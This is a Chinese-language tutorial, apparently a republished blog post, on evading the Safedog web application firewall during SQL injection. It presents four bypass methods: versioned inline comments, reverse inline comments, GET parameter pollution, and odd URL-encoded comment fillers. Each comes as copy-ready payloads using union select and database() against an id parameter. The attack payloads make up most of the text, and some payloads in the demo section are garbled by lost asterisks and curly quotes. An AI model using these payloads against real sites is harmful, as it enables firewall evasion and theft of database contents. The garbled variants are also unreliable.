当前位置:   article > 正文

sql注入篇--绕过WAF_sql注入绕过waf

sql注入绕过waf

sql注入篇–绕过WAF

WAF就是网络安全防火墙。

一般我们有四种方式绕过WAF:

1.内联绕过安全狗
/*!44544 关键字 */
?id=1' /*!42444and*/ '1'='1
判断列数
?id=1' /*!42444order*/ /*!42444by*/ 3 --+
判断显示位
?id=-1' /*!42444union*/ /*!42444select*/ 1,2,3 --+
获取当前数据库
?id=-1' /*!42444union*/ /*!42444select*/ 1,/*!42444database*//*!42444()*/,3 --+

2.内联反向思维
/*!大于版本号*/注释内容
?id=1' /*!84544*/and '1'='1


3.get传参绕过(参数污染)
参数名=/*&正常参数&参数名=*/ ;
	例:a=/*&id=1&b=*/


?id=1' and '1'='1
?a=/*&id=1' and '1'='1&b=qr*/


4.奇怪的url编码绕过
/*%!字母*/

?id=1' /*%!s*/and '1'='1
?id=1' /*%!sw*/order/*%!sw*/by 4--+
?id=-1' /*%!sw*/union/*%!sw*/select 1,database/*%!sw*/(),3--+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

下面的演示我是用的WAF都是安全狗

1)使用内联注释正常绕过

内联注释格式:/*!5位数字,但是不能大于版本号 关键字 */
在这里插入图片描述

然后我们使用如下:/!44544order//!23444by/ 3–+

在这里插入图片描述

成功绕过。接着我们获取信息:?id=-1’ /!44544union//!43344select/ 1,/!44544database//!33442()/,3 --+

在这里插入图片描述

2)内联反向思维绕过

内联注释格式:/*!5位数字,数字要大于版本号 注释内容 */

在这里插入图片描述

?id=-1’ /!84544sansan/union/!83444susncs/select 1,/!73542susncs/database/!85434susncs/(),3 --+

在这里插入图片描述

3)使用GET传参绕过

在原有的get参数基础上添加而外的参数,基本格式:

参数名=/&正常参数&参数名=/ ;

例:a=/&id=1&b=/

在这里插入图片描述

?a=/&id=-1’ union select 1,database(),3–+ &b=/

在这里插入图片描述

4)URL编码绕过

常见URL编码:

'=%27;"=%22;空格=%20;回车=%0d;换行=%0a;NULL=%00;水平制表=%09;垂直制表=%0b

更多编码查询:http://yige.org/tags/ref_urlencode.php

但是注意,以前可以利用常见的URL编码绕过,但是现在不行,需要使用一些奇怪的URL编码进行绕过;

例:%!字母 ,然后用**/*URL编码*/**做注释 如果一个URL编码不行,可以采用输入多个URL编码

在这里插入图片描述

?id=-1’ union/%!c/ select 1,/%!m/ database/%!w/ (),3 --+

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/849903
推荐阅读
相关标签
  

闽ICP备14008679号